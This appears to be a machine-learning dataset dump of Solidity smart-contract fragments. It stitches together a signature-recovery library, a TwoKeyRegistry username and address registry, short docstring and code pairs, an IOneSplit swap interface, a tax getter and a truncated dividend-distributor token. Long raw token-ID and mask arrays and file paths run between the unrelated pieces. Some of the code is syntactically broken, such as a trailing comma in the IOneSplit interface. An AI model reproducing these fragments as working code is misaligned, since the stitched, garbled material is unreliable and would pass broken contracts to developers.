long ptr, //Store output over input 0x20) //Outputs are 1 bytes long if eq(result, 0) { revert(0, 0) } answer := mload(ptr) // Assign output to answer var mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space } } function params2(address c, bytes _method, uint _val1, uint _val2) public view returns (uint answer) { // https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c // dc = c; bytes4 sig = bytes4(keccak256(_method)); assembly { // move pointer to free memory spot let ptr := mload(0x40) // put function sig at memory spot mstore(ptr,sig) // append argument after function sig mstore(add(ptr,0x04), _val1) mstore(add(ptr,0x24), _val2) let result := call( // use WARNING because this should be staticcall BUT geth crash! 15000, // gas limit c, // sload(dc_slot), // to addr. append var to _slot to access storage variable 0, // not transfer any ether (comment if using staticcall) ptr, // Inputs are stored at location ptr 0x44, // Inputs are 4 bytes for signature and 2 uint256 ptr, //Store output over input 0x20) //Outputs are 1 uint long answer := mload(ptr) // Assign output to answer var mstore(0x40,add(ptr,0x20)) // Set storage pointer to new space } } function loadAddress(bytes sig, uint idx) public pure returns (address) { address influencer; idx += 20; assembly { influencer := mload(add(sig, idx)) } return influencer; } function loadUint8(bytes sig, uint idx) public pure returns (uint8) { uint8 weight; idx += 1; assembly { weight := mload(add(sig, idx)) } return weight; } function recoverHash(bytes32 hash, bytes sig, uint idx) public pure returns (address) { // same as recoverHash in utils/sign.js // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. require (sig.length >= 65+idx, 'bad signature length'); idx += 32; bytes32 r; assembly { r := mload(add(sig, idx)) } idx += 32; bytes32 s; assembly { s := mload(add(sig, idx)) } idx += 1; uint8 v; assembly { v := mload(add(sig, idx)) } if (v >= 32) { // handle case when signature was made with ethereum web3.eth.sign or getSign which is for signing ethereum transactions v -= 32; bytes memory prefix = "\x19Ethereum Signed Message:\n32"; // 32 is the number of bytes in the following hash hash = keccak256(abi.encodePacked(prefix, hash)); } if (v <= 1) v += 27; require(v==27 || v==28,'bad sig v'); //https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol#L57 require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, 'bad sig s'); return ecrecover(hash, v, r, s); } function recoverSigMemory(bytes sig) private pure returns (address[], address[], uint8[], uint[], uint) { uint8 version = loadUint8(sig, 0); uint msg_len = (version == 1) ? 1+65+20 : 1+20+20; uint n_influencers = (sig.length-21) / (65+msg_len); uint8[] memory weights = new uint8[](n_influencers); address[] memory keys = new address[](n_influencers); if ((sig.length-21) % (65+msg_len) > 0) { n_influencers++; } address[] memory influencers = new address[](n_influencers); uint[] memory offsets = new uint[](n_influencers); return (influencers, keys, weights, offsets, msg_len); } function recoverSigParts(bytes sig, address last_address) private pure returns (address[], address[], uint8[], uint[]) { // sig structure: // 1 byte version 0 or 1 // 20 bytes are the address of the contractor or the influencer who created sig. // this is the "anchor" of the link // It must have a public key aleady stored for it in public_link_key // Begining of a loop on steps in the link: // * 65 bytes are step-signature using the secret from previous step // * message of the step that is going to be hashed and used to compute the above step-signature. // message length depend on version 41 (version 0) or 86 (version 1): // * 1 byte cut (percentage) each influencer takes from the bounty. the cut is stored in influencer2cut or weight for voting // * 20 bytes address of influencer (version 0) or 65 bytes of signature of cut using the influencer address to sign // * 20 bytes public key of the last secret // In the last step the message can be optional. If it is missing the message used is the address of the sender uint idx = 0; uint msg_len; uint8[] memory weights; address[] memory keys; address[] memory influencers; uint[] memory offsets; (influencers, keys, weights, offsets, msg_len) = recoverSigMemory(sig); idx += 1; // skip version idx += 20; // skip old_address which should be read by the caller in order to get old_key uint count_influencers = 0; while (idx + 65 <= sig.length) { offsets[count_influencers] = idx; idx += 65; // idx was increased by 65 for the signature at the begining which we will process later if (idx + msg_len <= sig.length) { // its a < and not a <= because we dont want this to be the final iteration for the converter weights[count_influencers] = loadUint8(sig, idx); require(weights[count_influencers] > 0,'weight not defined (1..255)'); // 255 are used to indicate default (equal part) behaviour idx++; if (msg_len == 41) // 1+20+20 version 0 { influencers[count_influencers] = loadAddress(sig, idx); idx += 20; keys[count_influencers] = loadAddress(sig, idx); idx += 20; } else if (msg_len == 86) // 1+65+20 version 1 { keys[count_influencers] = loadAddress(sig, idx+65); influencers[count_influencers] = recoverHash( keccak256( abi.encodePacked( keccak256(abi.encodePacked("bytes binding to weight","bytes binding to public")), keccak256(abi.encodePacked(weights[count_influencers],keys[count_influencers])) ) ),sig,idx); idx += 65; idx += 20; } } else { // handle short signatures generated with free_take influencers[count_influencers] = last_address; } count_influencers++; } require(idx == sig.length,'illegal message size'); return (influencers, keys, weights, offsets); } function recoverSig(bytes sig, address old_key, address last_address) public pure returns (address[], address[], uint8[]) { // validate sig AND // recover the information from the signature: influencers, public_link_keys, weights/cuts // influencers may have one more address than the keys and weights arrays // require(old_key != address(0),'no public link key'); address[] memory influencers; address[] memory keys; uint8[] memory weights; uint[] memory offsets; (influencers, keys, weights, offsets) = recoverSigParts(sig, last_address); // check if we received a valid signature for(uint i = 0; i < influencers.length; i++) { if (i < weights.length) { require (recoverHash(keccak256(abi.encodePacked(weights[i], keys[i], influencers[i])),sig,offsets[i]) == old_key, 'illegal signature'); old_key = keys[i]; } else { // signed message for the last step is the address of the converter require (recoverHash(keccak256(abi.encodePacked(influencers[i])),sig,offsets[i]) == old_key, 'illegal last signature'); } } return (influencers, keys, weights); } } contract Utils { /** * @notice Function to transform string to bytes32 * @dev string should be less than 32 chars */ function stringToBytes32( string memory source ) internal pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } /** * @notice Function to concat at most 3 strings * @dev If you want to handle concatenation of less than 3, then pass first their values and for the left pass empty strings * @return string concatenated */ function strConcat( string _a, string _b, string _c ) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); string memory abcde = new string(_ba.length + _bb.length + _bc.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; return string(babcde); } } contract ITwoKeySingletonUtils { address public TWO_KEY_SINGLETON_REGISTRY; // Modifier to restrict method calls only to maintainers modifier onlyMaintainer { address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry"); require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender)); _; } /** * @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract * @param contractName is the name of the contract we're looking for */ function getAddressFromTwoKeySingletonRegistry( string contractName ) internal view returns (address) { return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY) .getContractProxyAddress(contractName); } function getNonUpgradableContractAddressFromTwoKeySingletonRegistry( string contractName ) internal view returns (address) { return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY) .getNonUpgradableContractAddress(contractName); } } contract UpgradeabilityStorage { // Versions registry ITwoKeySingletonesRegistry internal registry; // Address of the current implementation address internal _implementation; /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } } contract Upgradeable is UpgradeabilityStorage { /** * @dev Validates the caller is the versions registry. * @param sender representing the address deploying the initial behavior of the contract */ function initialize(address sender) public payable { require(msg.sender == address(registry)); } } contract TwoKeyRegistry is Upgradeable, Utils, ITwoKeySingletonUtils { using Call for *; bool initialized; string constant _twoKeyMaintainersRegistry = "TwoKeyMaintainersRegistry"; ITwoKeyRegistryStorage public PROXY_STORAGE_CONTRACT; /** * @notice Function which can be called only once * used as a constructor * * @param _twoKeySingletonesRegistry is the address of TwoKeySingletonsRegistry contract * @param _proxyStorage is the address of the proxy contract used as a storage */ function setInitialParams( address _twoKeySingletonesRegistry, address _proxyStorage ) public { require(initialized == false); TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonesRegistry; PROXY_STORAGE_CONTRACT = ITwoKeyRegistryStorage(_proxyStorage); initialized = true; } /** * @notice Function which is called either during the registration or when user * decides to change his username * * @param _username is the new username user want's to set. Must be unique. * @param _userAddress is the address of the user who is this action being * performed for. * */ function addOrChangeUsernameInternal( string _username, address _userAddress ) internal { // Generate the name in the bytes bytes32 usernameBytes32 = stringToBytes32(_username); // Create key hashes for mappings for username2currentAddress and address2username bytes32 keyHashUserNameToAddress = keccak256("username2currentAddress", usernameBytes32); bytes32 keyHashAddressToUserName = keccak256("address2username", _userAddress); // Assert that username is not taken require(PROXY_STORAGE_CONTRACT.getAddress(keyHashUserNameToAddress) == address(0)); // Set mapping address => username PROXY_STORAGE_CONTRACT.setString(keyHashAddressToUserName, _username); // Set mapping username => address PROXY_STORAGE_CONTRACT.setAddress(keyHashUserNameToAddress, _userAddress); } /** * @notice Function where maintainer can register user * * @param _username is the username of the user * @param _userEthereumAddress is the address of the user */ function addName( string _username, address _userEthereumAddress ) internal { // Throw if user address already has some username assigned bytes memory currentUsernameAssignedToAddress = bytes(address2username(_userEthereumAddress)); require(currentUsernameAssignedToAddress.length == 0); // Here also the validation for uniqueness for this username will be done addOrChangeUsernameInternal(_username, _userEthereumAddress); } /** * @notice Function to map plasma and ethereum addresses for the user * The signature is generated by 2key-protocol function registry/index.ts * -> signEthereumToPlasma function * @param signature is the message user signed with his ethereum address * @param plasmaAddress is the plasma address of user which is signed by eth address * @param ethereumAddress is the ethereum address of the user who signed the message * */ function addPlasma2Ethereum( bytes signature, address plasmaAddress, address ethereumAddress ) internal { // Generate the hash bytes32 hash = keccak256(abi.encodePacked(keccak256(abi.encodePacked("bytes binding to plasma address")),keccak256(abi.encodePacked(plasmaAddress)))); // Recover ethereumAddress from the hash by signature address recoveredEthereumAddress = Call.recoverHash(hash,signature,0); // Require that ethereum addresses are matching require(ethereumAddress == recoveredEthereumAddress); // Generate the keys for the storage for 2 mappings we want to check and update bytes32 keyHashPlasmaToEthereum = keccak256("plasma2ethereum", plasmaAddress); bytes32 keyHashEthereumToPlasma = keccak256("ethereum2plasma", ethereumAddress); // Assert that both of this address currently don't exist in our system require(PROXY_STORAGE_CONTRACT.getAddress(keyHashPlasmaToEthereum) == address(0)); require(PROXY_STORAGE_CONTRACT.getAddress(keyHashEthereumToPlasma) == address(0)); // Store the addresses PROXY_STORAGE_CONTRACT.setAddress(keyHashPlasmaToEthereum, ethereumAddress); PROXY_STORAGE_CONTRACT.setAddress(keyHashEthereumToPlasma, plasmaAddress); } /** * @notice Function to register user and set his username by maintainer */ function registerUserByMaintainer( bytes signature, string username, address ethereumAddress, address plasmaAddress ) public onlyMaintainer { addName(username, ethereumAddress); addPlasma2Ethereum(signature,plasmaAddress,ethereumAddress); } /** * @notice Function where username can be changed * * @param newUsername is the new username user wants to add * @param userPublicAddress is the ethereum address of the user */ function changeUsername( string newUsername, address userPublicAddress ) public onlyMaintainer { // Get current username which is allocated to this address string memory currentUsername = address2username(userPublicAddress); // Delete current username=>address mapping PROXY_STORAGE_CONTRACT.setAddress(keccak256("username2currentAddress", stringToBytes32(currentUsername)), address(0)); addOrChangeUsernameInternal(newUsername, userPublicAddress); // Emit event on TwoKeyEventSource that the username is changed ITwoKeyEventSourceEvents(getAddressFromTwoKeySingletonRegistry("TwoKeyEventSource")) .emitHandleChangedEvent( getEthereumToPlasma(userPublicAddress), newUsername ); } /** * @notice Function to read from mapping username => address * * @param _username is the username of the user */ function getUserName2UserAddress( string _username ) public view returns (address) { bytes32 usernameBytes = stringToBytes32(_username); return PROXY_STORAGE_CONTRACT.getAddress(keccak256("username2currentAddress", usernameBytes)); } /** * @notice Function to read from the mapping plasma=>ethereum * * @param plasmaAddress is the plasma address we're searching eth address for */ function getPlasmaToEthereum( address plasmaAddress ) public view returns (address) { bytes32 keyHashPlasmaToEthereum = keccak256("plasma2ethereum", plasmaAddress); address ethereumAddress = PROXY_STORAGE_CONTRACT.getAddress(keyHashPlasmaToEthereum); return ethereumAddress != address(0) ? ethereumAddress : plasmaAddress; } /** * @notice Function to read from the mapping ethereum => plasma * * @param ethereumAddress is the ethereum address we're searching plasma address for * * @return plasma address if exist otherwise 0x0 (address(0)) */ function getEthereumToPlasma( address ethereumAddress ) public view returns (address) { bytes32 keyHashEthereumToPlasma = keccak256("ethereum2plasma", ethereumAddress); address plasmaAddress = PROXY_STORAGE_CONTRACT.getAddress(keyHashEthereumToPlasma); return plasmaAddress != address(0) ? plasmaAddress : ethereumAddress; } /** * @notice Function to check if the user exists * * @param _userAddress is the address of the user * * @return true if exists otherwise false */ function checkIfUserExists( address _userAddress ) public view returns (bool) { string memory username = PROXY_STORAGE_CONTRACT.getString(keccak256("address2username", _userAddress)); bytes memory usernameInBytes = bytes(username); bytes32 keyHashEthereumToPlasma = keccak256("ethereum2plasma", _userAddress); address plasma = PROXY_STORAGE_CONTRACT.getAddress(keyHashEthereumToPlasma); if(usernameInBytes.length == 0 || plasma == address(0)) { return false; } return true; } /** * @notice Function to get user data * * @param _userAddress is the ethereum address of the user */ function getUserData( address _userAddress ) public view returns (bytes) { string memory username = address2username(_userAddress); return (abi.encodePacked(stringToBytes32(username), bytes32(0), bytes32(0))); } /** * @notice Function to read from the mapping userAddress => username * * @param keyAddress is the address we use as the key */ function address2username( address keyAddress ) public view returns (string) { return PROXY_STORAGE_CONTRACT.getString(keccak256("address2username", keyAddress)); } /** * @notice Function to read from the mapping username => currentAddress * * @param _username is the hex username we want to get address for */ function username2currentAddress( bytes32 _username ) public view returns (address) { return PROXY_STORAGE_CONTRACT.getAddress(keccak256("username2currentAddress", _username)); } }
* @notice Function which is called either during the registration or when user decides to change his username @param _username is the new username user want's to set. Must be unique. @param _userAddress is the address of the user who is this action being performed for./ Generate the name in the bytes Create key hashes for mappings for username2currentAddress and address2username Assert that username is not taken Set mapping address => username Set mapping username => address
function addOrChangeUsernameInternal( string _username, address _userAddress ) internal { bytes32 usernameBytes32 = stringToBytes32(_username); bytes32 keyHashUserNameToAddress = keccak256("username2currentAddress", usernameBytes32); bytes32 keyHashAddressToUserName = keccak256("address2username", _userAddress); require(PROXY_STORAGE_CONTRACT.getAddress(keyHashUserNameToAddress) == address(0)); PROXY_STORAGE_CONTRACT.setString(keyHashAddressToUserName, _username); PROXY_STORAGE_CONTRACT.setAddress(keyHashUserNameToAddress, _userAddress); }
12,215,298
[ 1, 2083, 1492, 353, 2566, 3344, 4982, 326, 7914, 578, 1347, 729, 5375, 2109, 4369, 358, 2549, 18423, 2718, 5411, 389, 5053, 353, 326, 394, 2718, 729, 2545, 1807, 358, 444, 18, 6753, 506, 3089, 18, 5411, 389, 1355, 1887, 353, 326, 1758, 434, 326, 729, 10354, 353, 333, 1301, 3832, 5375, 9591, 364, 18, 19, 6654, 326, 508, 316, 326, 1731, 1788, 498, 9869, 364, 7990, 364, 2718, 22, 2972, 1887, 471, 1758, 22, 5053, 5452, 716, 2718, 353, 486, 9830, 1000, 2874, 1758, 516, 2718, 1000, 2874, 2718, 516, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 1162, 3043, 8575, 3061, 12, 203, 3639, 533, 389, 5053, 16, 203, 3639, 1758, 389, 1355, 1887, 203, 565, 262, 203, 565, 2713, 203, 565, 288, 203, 3639, 1731, 1578, 2718, 2160, 1578, 273, 14134, 2160, 1578, 24899, 5053, 1769, 203, 203, 3639, 1731, 1578, 498, 2310, 15296, 774, 1887, 273, 417, 24410, 581, 5034, 2932, 5053, 22, 2972, 1887, 3113, 2718, 2160, 1578, 1769, 203, 3639, 1731, 1578, 498, 2310, 1887, 774, 15296, 273, 417, 24410, 581, 5034, 2932, 2867, 22, 5053, 3113, 389, 1355, 1887, 1769, 203, 203, 3639, 2583, 12, 16085, 67, 19009, 67, 6067, 2849, 1268, 18, 588, 1887, 12, 856, 2310, 15296, 774, 1887, 13, 422, 1758, 12, 20, 10019, 203, 203, 3639, 26910, 67, 19009, 67, 6067, 2849, 1268, 18, 542, 780, 12, 856, 2310, 1887, 774, 15296, 16, 389, 5053, 1769, 203, 203, 3639, 26910, 67, 19009, 67, 6067, 2849, 1268, 18, 542, 1887, 12, 856, 2310, 15296, 774, 1887, 16, 389, 1355, 1887, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x860744711d50e6671BF1c8e40eCEDaB7D53Ca3EA/sources/XChanger.sol
address fromToken,address destToken,
interface IOneSplit { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, ) external view returns (uint256 returnAmount, uint256[] memory distribution); function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 destTokenEthPriceTimesGasPrice ) external view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable returns (uint256 returnAmount); } }
2,865,055
[ 1, 2867, 628, 1345, 16, 2867, 1570, 1345, 16, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 3335, 5521, 288, 203, 565, 445, 336, 6861, 990, 12, 203, 3639, 467, 654, 39, 3462, 628, 1345, 16, 203, 3639, 467, 654, 39, 3462, 1570, 1345, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 2140, 16, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 327, 6275, 16, 2254, 5034, 8526, 3778, 7006, 1769, 203, 203, 565, 445, 336, 6861, 990, 1190, 27998, 12, 203, 3639, 467, 654, 39, 3462, 628, 1345, 16, 203, 3639, 467, 654, 39, 3462, 1570, 1345, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 2140, 16, 203, 3639, 2254, 5034, 1570, 1345, 41, 451, 5147, 10694, 27998, 5147, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 12, 203, 5411, 2254, 5034, 327, 6275, 16, 203, 5411, 2254, 5034, 11108, 27998, 6275, 16, 203, 5411, 2254, 5034, 8526, 3778, 7006, 203, 3639, 11272, 203, 540, 203, 565, 445, 7720, 12, 203, 3639, 467, 654, 39, 3462, 628, 1345, 16, 203, 3639, 467, 654, 39, 3462, 1570, 1345, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 1131, 990, 16, 203, 3639, 2254, 5034, 8526, 745, 892, 7006, 16, 203, 3639, 2254, 5034, 2943, 203, 565, 262, 3903, 8843, 429, 1135, 261, 11890, 5034, 327, 6275, 1769, 203, 97, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5E57C528EF9126200D76620e7b843600635E74Ca/sources/sir-token.sol
* @dev returns data stored in Tax struct, by index @param index_ bytes1 @return Taxes memory/
function getTaxData( bytes1 index_ ) external view returns(Taxes memory) { return Tax[index_]; }
17,066,159
[ 1, 6154, 501, 4041, 316, 18240, 1958, 16, 635, 770, 282, 770, 67, 1731, 21, 225, 327, 399, 10855, 3778, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22136, 751, 12, 203, 3639, 1731, 21, 770, 67, 203, 565, 262, 3903, 1476, 1135, 12, 7731, 281, 3778, 13, 288, 203, 3639, 327, 18240, 63, 1615, 67, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-22 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IWETH is IERC20 { function deposit() external payable; } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (IDEXFactory); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface ITokenConverter { function convertViaWETH( address _tokenA, address _tokenB, uint256 _amount ) external view returns (uint256); function DEFAULT_FACTORY() external view returns (IDEXFactory); } abstract contract Auth { address public owner; mapping(address => bool) public isAuthorized; constructor() { owner = msg.sender; isAuthorized[msg.sender] = true; } modifier onlyOwner() { require(msg.sender == owner, "!OWNER"); _; } modifier authorized() { require(isAuthorized[msg.sender], "!AUTHORIZED"); _; } function authorize(address adr) external onlyOwner { isAuthorized[adr] = true; } function unauthorize(address adr) external onlyOwner { isAuthorized[adr] = false; } function setAuthorizationMultiple(address[] memory adr, bool value) external onlyOwner { for (uint256 i = 0; i < adr.length; i++) { isAuthorized[adr[i]] = value; } } function transferOwnership(address payable adr) external onlyOwner { isAuthorized[owner] = false; owner = adr; isAuthorized[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } contract DividendDistributor { address public _token; IWETH WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 public dividendToken; IDEXRouter public router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; uint256 index; uint256 lastClaimed; } mapping(address => Share) public shares; address[] shareholders; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 public _ACCURACY_ = 1e36; uint256 public minPeriod = 30 minutes; uint256 public minDistribution = 1e18; uint256 public shareThreshold = 0; uint256 public currentIndex; uint256 public maxGas = 500000; modifier onlyToken() { require(msg.sender == _token); _; } constructor(IERC20 _dividendToken) { dividendToken = _dividendToken; _token = msg.sender; } function setDistributionCriteria( uint256 _minPeriod, uint256 _minDistribution, uint256 _shareThreshold ) external onlyToken { minPeriod = _minPeriod; minDistribution = _minDistribution; shareThreshold = _shareThreshold; } function setMaxGas(uint256 gas) external onlyToken { maxGas = gas; } function setShare(address shareholder, uint256 amount) external onlyToken { Share storage _S = shares[shareholder]; if (_S.amount > 0) { _sendDividend(shareholder); if (amount < shareThreshold) _removeShareholder(shareholder); } else if (amount >= shareThreshold) _addShareholder(shareholder); totalShares -= _S.amount; totalShares += amount; _S.amount = amount; _S.totalExcluded = _getCumulativeDividends(shareholder); } function deposit() external payable onlyToken { uint256 gotDividendToken; gotDividendToken = dividendToken.balanceOf(address(this)); if (address(dividendToken) == address(WETH)) { WETH.deposit{value: msg.value}(); } else { address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(dividendToken); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( 0, path, address(this), block.timestamp ); } gotDividendToken = dividendToken.balanceOf(address(this)) - gotDividendToken; totalDividends += gotDividendToken; dividendsPerShare += (_ACCURACY_ * gotDividendToken) / totalShares; } function sendDividends() external onlyToken { 